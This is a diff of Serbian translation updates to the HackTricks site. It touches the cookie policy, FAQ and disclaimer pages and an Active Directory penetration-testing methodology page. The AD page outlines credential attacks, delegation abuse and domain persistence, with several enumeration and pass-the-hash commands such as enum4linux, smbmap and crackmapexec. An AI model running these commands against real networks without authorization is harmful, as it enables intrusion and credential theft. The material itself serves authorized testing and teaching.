2. Kolačići za performanse: Ovi kolačići nam pomažu da razumemo kako posetioci interaguju sa našim veb sajtovima, prikupljajući i izveštavajući informacije anonimno. To nam omogućava da poboljšamo performanse našeg veb sajta i korisničko iskustvo.
|
||||
3. Kolačići za funkcionalnost: Ovi kolačići omogućavaju našim veb sajtovima da pamte izbore koje napravite, kao što su vaš jezik ili region, kako bi pružili personalizovanije iskustvo.
|
||||
4. Kolačići za ciljanje/reklamu: Ovi kolačići se koriste za isporuku relevantnih oglasa i marketinških komunikacija na osnovu vaših interesa, istorije pretraživanja i interakcija sa našim veb sajtovima.
|
||||
1. Essential cookies: Ovi kolačići su neophodni za osnovnu funkcionalnost naših veb sajtova, kao što su omogućavanje autentifikacije korisnika, održavanje bezbednosti i pamćenje vaših preferencija.
|
||||
2. Performance cookies: Ovi kolačići nam pomažu da razumemo kako posetioci interaguju sa našim veb sajtovima, prikupljajući i izveštavajući informacije anonimno. To nam omogućava da poboljšamo performanse našeg veb sajta i korisničko iskustvo.
|
||||
3. Functionality cookies: Ovi kolačići omogućavaju našim veb sajtovima da pamte izbore koje napravite, kao što su vaš jezik ili region, kako bi pružili personalizovanije iskustvo.
|
||||
4. Targeting/advertising cookies: Ovi kolačići se koriste za isporuku relevantnih oglasa i marketinških komunikacija na osnovu vaših interesa, istorije pretraživanja i interakcija sa našim veb sajtovima.
|
||||
|
||||
Pored toga, stranice book.hacktricks.wiki i cloud.hacktricks.wiki su hostovane na Gitbook-u. Možete pronaći više informacija o kolačićima Gitbook-a na [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
|
||||
|
||||
### Kolačići trećih strana
|
||||
### Third-party cookies
|
||||
|
||||
Pored naših kolačića, možemo takođe koristiti kolačiće trećih strana za izveštavanje o statistikama korišćenja veb sajta, isporuku oglasa i omogućavanje dugmadi za deljenje na društvenim mrežama. Korišćenje kolačića trećih strana podložno je njihovim odgovarajućim politikama privatnosti.
|
||||
|
||||
Upravljanje kolačićima
|
||||
Managing cookies
|
||||
|
||||
Većina veb pregledača omogućava vam da upravljate kolačićima putem svojih podešavanja. Možete izabrati da blokirate, obrišete ili ograničite upotrebu kolačića na vašem uređaju. Međutim, imajte na umu da onemogućavanje kolačića može uticati na funkcionalnost i performanse naših veb sajtova.
|
||||
|
||||
Izmene ove Politike kolačića
|
||||
Changes to this Cookies Policy
|
||||
|
||||
Možemo povremeno ažurirati ovu Politiku kolačića kako bismo odražavali promene u našim praksama ili relevantnim zakonima. Ohrabrujemo vas da povremeno pregledate ovu stranicu za najnovije informacije o našim praksama kolačića.
|
||||
|
||||
### Kontaktirajte nas
|
||||
### Contact us
|
||||
|
||||
Ako imate bilo kakva pitanja ili nedoumice u vezi sa ovom Politikom kolačića, molimo vas da nas kontaktirate na [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
|
||||
|
@ -44,7 +44,7 @@ Ne zaboravite da **dajte zvezdicu na Github projektima!**
|
||||
>
|
||||
> - **Mogu li kopirati neki sadržaj iz HackTricks i staviti ga na svoj blog?**
|
||||
|
||||
Da, možete, ali **ne zaboravite da pomenete specifične linkove** sa kojih je sadržaj preuzet.
|
||||
Da, možete, ali **ne zaboravite da pomenete specifičan link(ove)** sa kojih je sadržaj preuzet.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -93,8 +93,8 @@ Nećete naći HackTricks ispunjen dosadnim oglasima kao druge blogove sa mnogo m
|
||||
Imajte na umu da linkovi ka vašoj stranici u HackTricks:
|
||||
|
||||
- Poboljšavaju vaš **SEO**
|
||||
- Sadržaj se **prevodi na više od 15 jezika**, omogućavajući više ljudi da pristupe ovom sadržaju
|
||||
- **HackTricks podstiče** ljude da **provere vašu stranicu** (nekoliko ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u, dobijaju više poseta)
|
||||
- Sadržaj se **prevodi na više od 15 jezika**, što omogućava više ljudi da pristupe ovom sadržaju
|
||||
- **HackTricks podstiče** ljude da **provere vašu stranicu** (nekoliko ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u, primaju više poseta)
|
||||
|
||||
Međutim, ako i dalje želite da se sadržaj vašeg bloga ukloni iz HackTricks-a, samo nas obavestite i definitivno ćemo **ukloniti svaki link ka vašem blogu**, i bilo koji sadržaj zasnovan na njemu.
|
||||
|
||||
@ -123,20 +123,20 @@ Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
|
||||
|
||||
- Commercial Use: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me.
|
||||
|
||||
Ova licenca ne dodeljuje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su svojina njihovih odgovarajućih vlasnika.
|
||||
Ova licenca ne dodeljuje nikakva prava na zaštitni znak ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su svojina njihovih odgovarajućih vlasnika.
|
||||
|
||||
**Pristupanjem ili korišćenjem HackTricks-a, slažete se da poštujete uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovoj veb stranici.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ova knjiga, 'HackTricks,' je namenjena isključivo obrazovnim i informativnim svrhama. Sadržaj unutar ove knjige je dostupan na 'kako jeste' osnovi, a autori i izdavači ne daju nikakve izjave ili garancije bilo koje vrste, izričite ili implicirane, o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih unutar ove knjige. Svako oslanjanje na takve informacije je stoga strogo na vaš sopstveni rizik.
|
||||
> Ova knjiga, 'HackTricks,' je namenjena isključivo obrazovnim i informativnim svrhama. Sadržaj unutar ove knjige je dostupan na 'kako jeste' osnovi, a autori i izdavači ne daju nikakve izjave ili garancije bilo koje vrste, izričite ili implicirane, o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih unutar ove knjige. Svako oslanjanje koje stavite na takve informacije je stoga strogo na vašem vlastitom riziku.
|
||||
>
|
||||
> Autori i izdavači u nijednom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu koja proizađe iz gubitka podataka ili profita proizašlih iz, ili u vezi sa, korišćenjem ove knjige.
|
||||
> Autori i izdavači neće u nijednom slučaju biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu koja proizađe iz gubitka podataka ili profita proizašlih iz, ili u vezi sa, korišćenjem ove knjige.
|
||||
>
|
||||
> Štaviše, tehnike i saveti opisani u ovoj knjizi su dati isključivo u obrazovne i informativne svrhe i ne bi trebali biti korišćeni za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, a svaka upotreba informacija sadržanih unutar ove knjige je na korisnikov sopstveni rizik i diskreciju.
|
||||
> Štaviše, tehnike i saveti opisani u ovoj knjizi su dati isključivo u obrazovne i informativne svrhe i ne bi trebali biti korišćeni za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, a svaka upotreba informacija sadržanih unutar ove knjige je na korisnikov vlastiti rizik i diskreciju.
|
||||
>
|
||||
> Korisnik je isključivo odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih unutar ove knjige i uvek bi trebao potražiti profesionalni savet i pomoć prilikom pokušaja implementacije bilo koje od tehnika ili saveta opisanih ovde.
|
||||
> Korisnik je isključivo odgovoran za bilo kakve radnje preduzete na osnovu informacija sadržanih unutar ove knjige i uvek bi trebao potražiti profesionalni savet i pomoć prilikom pokušaja implementacije bilo koje od tehnika ili saveta opisanih ovde.
|
||||
>
|
||||
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i svake odgovornosti za bilo kakve štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo koje od informacija sadržanih u njoj.
|
||||
|
||||
|
@ -27,7 +27,7 @@ Ključni koncepti unutar **Active Directory** uključuju:
|
||||
|
||||
Za detaljnije objašnjenje pogledajte: [**TechTerms - Definicija Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos autentifikacija**
|
||||
### **Kerberos Autentifikacija**
|
||||
|
||||
Da biste naučili kako da **napadnete AD**, potrebno je da **razumete** veoma dobro **proces autentifikacije Kerberos**.\
|
||||
[**Pročitajte ovu stranicu ako još uvek ne znate kako to funkcioniše.**](kerberos-authentication.md)
|
||||
@ -44,7 +44,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [štampači bi mogli biti veoma zanimljivi ciljevi](ad-information-in-printers.md)).
|
||||
- Enumeracija DNS-a može dati informacije o ključnim serverima u domenu kao što su web, štampači, deljenja, vpn, mediji, itd.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Pogledajte opštu [**Pentesting metodologiju**](../../generic-methodologies-and-resources/pentesting-methodology.md) da biste pronašli više informacija o tome kako to uraditi.
|
||||
- Pogledajte opštu [**Pentesting Metodologiju**](../../generic-methodologies-and-resources/pentesting-methodology.md) da biste pronašli više informacija o tome kako to uraditi.
|
||||
- **Proverite pristup bez kredencijala i gostujući pristup na smb uslugama** (ovo neće raditi na modernim verzijama Windows-a):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -68,8 +68,8 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
- Pristupite hostu [**zloupotrebom napada relaya**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Prikupite kredencijale **izlažući** [**lažne UPnP usluge sa evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Izvucite korisnička imena/ime iz internih dokumenata, društvenih mreža, usluga (pretežno web) unutar domena i takođe iz javno dostupnih izvora.
|
||||
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[pročitajte ovo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePrz_ (3 slova od svakog), _Ime.Prz_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Izdvojite korisnička imena/ime iz internih dokumenata, društvenih mreža, usluga (pretežno web) unutar domena i takođe iz javno dostupnih izvora.
|
||||
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[**pročitajte ovo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePr_ (3 slova od svakog), _Im.Prez_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.N_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Alati:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -112,8 +112,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
U redu, znate da već imate validno korisničko ime, ali nemate lozinke... Pokušajte:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Ako korisnik **nema** atribut _DONT_REQ_PREAUTH_, možete **zatražiti AS_REP poruku** za tog korisnika koja će sadržati neke podatke šifrovane derivacijom lozinke korisnika.
|
||||
- [**Password Spraying**](password-spraying.md): Pokušajmo sa najviše **uobičajenim lozinkama** za svakog od otkrivenih korisnika, možda neki korisnik koristi lošu lozinku (imajte na umu politiku lozinki!).
|
||||
- Imajte na umu da možete i **spray OWA servere** da pokušate da dobijete pristup korisničkim mail serverima.
|
||||
- [**Password Spraying**](password-spraying.md): Pokušajmo sa naj **češćim lozinkama** za svakog od otkrivenih korisnika, možda neki korisnik koristi lošu lozinku (imajte na umu politiku lozinki!).
|
||||
- Imajte na umu da možete takođe **spray OWA servere** da pokušate da dobijete pristup korisničkim mail serverima.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -141,7 +141,7 @@ Ako možete **pristupiti drugim računarima ili deljenjima** sa **null ili gost
|
||||
|
||||
## Enumeracija Aktivnog Direktorijuma SA kredencijalima/sesijom
|
||||
|
||||
Za ovu fazu morate imati **kompromitovane kredencijale ili sesiju validnog domen korisnika.** Ako imate neke validne kredencijale ili shell kao domen korisnik, **trebalo bi da se setite da su opcije date ranije još uvek opcije za kompromitovanje drugih korisnika**.
|
||||
Za ovu fazu morate imati **kompromitovane kredencijale ili sesiju validnog domen korisnika.** Ako imate neke validne kredencijale ili shell kao domen korisnik, **trebalo bi da zapamtite da su opcije date ranije još uvek opcije za kompromitovanje drugih korisnika**.
|
||||
|
||||
Pre nego što započnete autentifikovanu enumeraciju, trebali biste znati šta je **Kerberos double hop problem.**
|
||||
|
||||
@ -151,9 +151,9 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### Enumeracija
|
||||
|
||||
Kompromitovanje naloga je **veliki korak ka kompromitovanju celog domena**, jer ćete moći da započnete **Enumeraciju Aktivnog Direktorijuma:**
|
||||
Kada ste kompromitovali nalog, to je **veliki korak ka kompromitovanju celog domena**, jer ćete moći da započnete **Enumeraciju Aktivnog Direktorijuma:**
|
||||
|
||||
Što se tiče [**ASREPRoast**](asreproast.md), sada možete pronaći svakog mogućeg ranjivog korisnika, a što se tiče [**Password Spraying**](password-spraying.md), možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog naloga, prazne lozinke i nove obećavajuće lozinke.
|
||||
Što se tiče [**ASREPRoast**](asreproast.md), sada možete pronaći svaku moguću ranjivu korisničku, a što se tiče [**Password Spraying**](password-spraying.md), možete dobiti **listu svih korisničkih imena** i pokušati lozinku kompromitovanog naloga, prazne lozinke i nove obećavajuće lozinke.
|
||||
|
||||
- Možete koristiti [**CMD za osnovno rekognosciranje**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Takođe možete koristiti [**powershell za rekognosciranje**](../basic-powershell-for-pentesters/index.html) što će biti diskretnije
|
||||
@ -177,7 +177,7 @@ Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domai
|
||||
|
||||
Kerberoasting uključuje dobijanje **TGS karata** koje koriste usluge povezane sa korisničkim nalozima i razbijanje njihove enkripcije—koja se zasniva na korisničkim lozinkama—**offline**.
|
||||
|
||||
Više o ovome u:
|
||||
Više o tome u:
|
||||
|
||||
{{#ref}}
|
||||
kerberoast.md
|
||||
@ -187,11 +187,11 @@ kerberoast.md
|
||||
|
||||
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, mogli biste koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
|
||||
|
||||
### Lokalno Eskaliranje Privilegija
|
||||
### Lokalna Eskalacija Privilegija
|
||||
|
||||
Ako ste kompromitovali kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
|
||||
|
||||
Postoji cela stranica u ovoj knjizi o [**lokalnom eskaliranju privilegija u Windows-u**](../windows-local-privilege-escalation/index.html) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
Postoji cela stranica u ovoj knjizi o [**lokalnoj eskalaciji privilegija u Windows-u**](../windows-local-privilege-escalation/index.html) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Trenutne Sesijske Karte
|
||||
|
||||
@ -275,8 +275,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Ako korisnik ima privilegije za **pristup MSSQL instancama**, mogao bi biti u mogućnosti da ih koristi za **izvršavanje komandi** na MSSQL hostu (ako se pokreće kao SA), **ukrade** NetNTLM **hash** ili čak izvrši **relay** **napad**.\
|
||||
Takođe, ako je MSSQL instanca poverena (veza baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverenom bazom podataka, moći će da **iskoristi odnos poverenja za izvršavanje upita i u drugoj instanci**. Ove veze se mogu povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
**Veze između baza podataka funkcionišu čak i preko šuma poverenja.**
|
||||
Takođe, ako je MSSQL instanca poverljiva (link baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će da **iskoristi odnos poverenja za izvršavanje upita i u drugoj instanci**. Ove veze se mogu povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
**Veze između baza podataka funkcionišu čak i preko šumskih poverenja.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### Constrained Delegation
|
||||
|
||||
Ako je korisniku ili računaru dozvoljena "Ograničena delegacija", moći će da **se pretvara u bilo kog korisnika kako bi pristupio nekim uslugama na računaru**.\
|
||||
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i domenskih administratora) kako biste pristupili nekim uslugama.
|
||||
Tada, ako **kompromitujete hash** ovog korisnika/računara, moći ćete da **se pretvarate u bilo kog korisnika** (čak i administratore domena) kako biste pristupili nekim uslugama.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACLs Abuse
|
||||
|
||||
Kompromitovani korisnik mogao bi imati neke **zanimljive privilegije nad nekim objektima domena** koje bi vam mogle omogućiti **lateralno kretanje**/**eskalaciju** privilegija.
|
||||
Kompromitovani korisnik mogao bi imati neke **zanimljive privilegije nad nekim objektima domena** koje bi vam mogle omogućiti da **napredujete** lateralno/**povećate** privilegije.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -319,7 +319,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Otkriće **Spool servisa koji sluša** unutar domena može se **iskoristiti** za **sticanje novih kredencijala** i **eskalaciju privilegija**.
|
||||
Otkriće **Spool servisa koji sluša** unutar domena može se **iskoristiti** za **sticanje novih kredencijala** i **povećanje privilegija**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
|
||||
### Third party sessions abuse
|
||||
|
||||
Ako **drugi korisnici** **pristupaju** **kompromitovanoj** mašini, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, pa ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, tako da ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
**Prikupljanje sertifikata** sa kompromitovane mašine može biti način za eskalaciju privilegija unutar okruženja:
|
||||
**Prikupljanje sertifikata** sa kompromitovane mašine može biti način za povećanje privilegija unutar okruženja:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Ako su **ranjivi šabloni** konfigurisani, moguće ih je iskoristiti za eskalaciju privilegija:
|
||||
Ako su **ranjivi šabloni** konfigurisani, moguće ih je iskoristiti za povećanje privilegija:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -370,7 +370,7 @@ Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije,
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
Neke od tehnika o kojima se ranije govorilo mogu se koristiti za postizanje postojanosti.\
|
||||
Neke od tehnika o kojima se ranije govorilo mogu se koristiti za postizanje trajnosti.\
|
||||
Na primer, mogli biste:
|
||||
|
||||
- Učiniti korisnike ranjivim na [**Kerberoast**](kerberoast.md)
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Silver Ticket napad** kreira **legitimni Ticket Granting Service (TGS) tiket** za specifičnu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup privilegijama usluge**.
|
||||
**Silver Ticket napad** stvara **legitimnu Ticket Granting Service (TGS) kartu** za specifičnu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup privilegijama usluge**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** na ovim grupama kako bi se sprečile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a da bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da zaštiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
|
||||
**AdminSDHolder** objekat u Active Directory-u osigurava bezbednost **privilegovanih grupa** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** na ovim grupama kako bi se spreile neovlašćene promene. Međutim, ova funkcija se može iskoristiti; ako napadač izmeni ACL AdminSDHolder-a da bi dao potpuni pristup običnom korisniku, taj korisnik dobija opsežnu kontrolu nad svim privilegovanim grupama. Ova mera bezbednosti, koja je zamišljena da štiti, može se tako obrnuti, omogućavajući neovlašćen pristup osim ako se ne prati pažljivo.
|
||||
|
||||
[**Više informacija o AdminDSHolder grupi ovde.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, potrebna je modifikacija registra da bi se **omogućila upotreba ove lozinke**, što omogućava daljinski pristup lokalnom administratorskom nalogu.
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, potrebna je izmena registra da bi se **omogućila upotreba ove lozinke**, što omogućava daljinski pristup lokalnom administratorskom nalogu.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
Možete **dati** neke **posebne dozvole** **korisniku** nad nekim specifičnim objektima domena koje će omogućiti korisniku **eskalaciju privilegija u budućnosti**.
|
||||
Možete **dati** neke **posebne dozvole** korisniku nad nekim specifičnim objektima domena koje će omogućiti korisniku da **poveća privilegije u budućnosti**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -465,7 +465,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, koja omogućava pristup svim domena nalozima.
|
||||
Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, omogućavajući pristup svim domena nalozima.
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registruje **novi Domain Controller** u AD i koristi ga za **guranjem atributa** (SIDHistory, SPNs...) na specificiranim objektima **bez** ostavljanja bilo kakvih **logova** u vezi sa **modifikacijama**. Potrebne su **DA** privilegije i biti unutar **root domena**.\
|
||||
Registruje **novi Domain Controller** u AD i koristi ga za **guranjem atributa** (SIDHistory, SPNs...) na specificiranim objektima **bez** ostavljanja bilo kakvih **logova** u vezi sa **izmenama**. Potrebne su **DA** privilegije i biti unutar **root domena**.\
|
||||
Imajte na umu da ako koristite pogrešne podatke, pojaviće se prilično ružni logovi.
|
||||
|
||||
{{#ref}}
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Ranije smo razgovarali o tome kako eskalirati privilegije ako imate **dovoljno dozvola za čitanje LAPS lozinki**. Međutim, ove lozinke se takođe mogu koristiti za **održavanje postojanosti**.\
|
||||
Ranije smo razgovarali o tome kako povećati privilegije ako imate **dovoljno dozvola za čitanje LAPS lozinki**. Međutim, ove lozinke se takođe mogu koristiti za **održavanje trajnosti**.\
|
||||
Proverite:
|
||||
|
||||
{{#ref}}
|
||||
@ -504,50 +504,50 @@ Microsoft gleda na **Forest** kao na bezbednosnu granicu. To implicira da **komp
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Domen poverenja**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između autentifikacionih sistema dva domena, omogućavajući nesmetano proticanje verifikacija autentifikacije. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
[**domen poverenje**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između autentifikacionih sistema dva domena, omogućavajući nesmetano proticanje verifikacija autentifikacije. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverenom domenu**, prvo mora zatražiti poseban tiket poznat kao **inter-realm TGT** od svog domena DC. Ovaj TGT je enkriptovan sa zajedničkim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovaj TGT **DC-u poverenog domena** da bi dobio servisni tiket (**TGS**). Nakon uspešne validacije inter-realm TGT-a od strane DC-a poverenog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora zatražiti posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa deljenim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** da bi dobio kartu usluge (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
|
||||
**Koraci**:
|
||||
|
||||
1. **Klijentski računar** u **Domenu 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller-a (DC1)**.
|
||||
2. DC1 izdaje novi TGT ako je klijent uspešno autentifikovan.
|
||||
3. Klijent zatim traži **inter-realm TGT** od DC1, koji je potreban za pristup resursima u **Domenu 2**.
|
||||
4. Inter-realm TGT je enkriptovan sa **ključem poverenja** koji je deljen između DC1 i DC2 kao deo dvosmernog poverenja domena.
|
||||
5. Klijent uzima inter-realm TGT do **Domain Controller-a Domene 2 (DC2)**.
|
||||
6. DC2 verifikuje inter-realm TGT koristeći svoj zajednički ključ poverenja i, ako je validan, izdaje **Ticket Granting Service (TGS)** za server u Domenu 2 kojem klijent želi pristupiti.
|
||||
